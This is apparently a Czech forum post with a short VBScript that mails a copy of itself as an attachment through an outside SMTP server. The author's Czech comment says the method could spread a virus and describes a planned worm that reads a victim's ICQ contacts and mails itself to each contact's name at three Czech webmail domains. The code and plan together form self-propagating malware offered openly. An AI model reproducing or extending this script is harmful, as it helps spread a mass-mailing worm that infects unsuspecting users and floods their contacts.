Dim ObjSendMail
Set ObjSendMail = CreateObject("CDO.Message")
ObjSendMail.Configuration.Fields.Item ("[link]") = 2 'Send the message using the network (SMTP over the network).
ObjSendMail.Configuration.Fields.Item ("[link]") ="mx1.seznam.cz"
ObjSendMail.Configuration.Fields.Item ("[link]") = 25
'ObjSendMail.Configuration.Fields.Item ("[link]") = False 'Use SSL for the connection (True or False)
ObjSendMail.Configuration.Fields.Item ("[link]") = 60
ObjSendMail.Configuration.Fields.Update
ObjSendMail.To = "Tvuj majl "
ObjSendMail.Subject = "this is the subject"
ObjSendMail.From = "someone@someone.net"
ObjSendMail.AddAttachment WScript.ScriptFullName
'ObSendMail.HTMLBody = "this is the body"
ObjSendMail.TextBody = "this is the body"
ObjSendMail.Send
Set ObjSendMail = Nothing
'toto je psycho vykutil jsem to z návodu
kdyz to nekdo spustí tak ten vbs sam sebe posle na e-mailovou adresu tahle byse dal sirit i virus
chystam VBS script ktery ziska object na ICq a precte vsechny kontakty a zacne posilat majly ve formatu :
JMENO_UZIVATLE@seznam.cz
JMENO_UZIVATLE@atlas.cz
JMENO_UZIVATLE@centrum.cz
atttd ... misto "JMENO_UZIVATLE" se nahradí 1 prvek (z celé kolekce ) ze všech kontaktů ..
když bude te mit v kontakt listu 30 lidi tak se majl odesle na 90 majlu s kobinací seznam.cz ,atlas.cz,centrum.cz (odpovědět)